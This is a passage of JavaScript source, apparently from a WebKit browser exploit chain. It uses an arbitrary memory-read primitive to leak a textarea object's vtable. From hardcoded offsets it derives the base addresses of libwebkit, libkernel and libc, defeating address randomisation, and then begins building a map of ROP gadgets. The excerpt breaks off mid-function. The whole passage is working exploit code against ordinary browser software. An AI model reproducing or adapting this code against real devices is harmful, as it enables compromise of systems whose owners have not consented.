| 133 | export const gadgets = new Map(); |
| 134 | |
| 135 | function get_bases() { |
| 136 | const textarea = document.createElement("textarea"); |
| 137 | const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); |
| 138 | const textarea_vtable = webcore_textarea.readp(0); |
| 139 | const off_ta_vt = 0x23ae2b0; |
| 140 | const libwebkit_base = textarea_vtable.sub(off_ta_vt); |
| 141 | |
| 142 | const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); |
| 143 | const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); |
| 144 | const off_scf = 0x12ac0; |
| 145 | const libkernel_base = stack_chk_fail_addr.sub(off_scf); |
| 146 | |
| 147 | const strlen_import = libwebkit_base.add(offset_wk_strlen); |
| 148 | const strlen_addr = resolve_import(strlen_import); |
| 149 | const off_strlen = 0x4f580; |
| 150 | const libc_base = strlen_addr.sub(off_strlen); |
| 151 | |
| 152 | return [libwebkit_base, libkernel_base, libc_base]; |
| 153 | } |
| 154 | |
| 155 | export function init_gadget_map(gadget_map, offset_map, base_addr) { |
| 156 | for (const [insn, offset] of offset_map) { |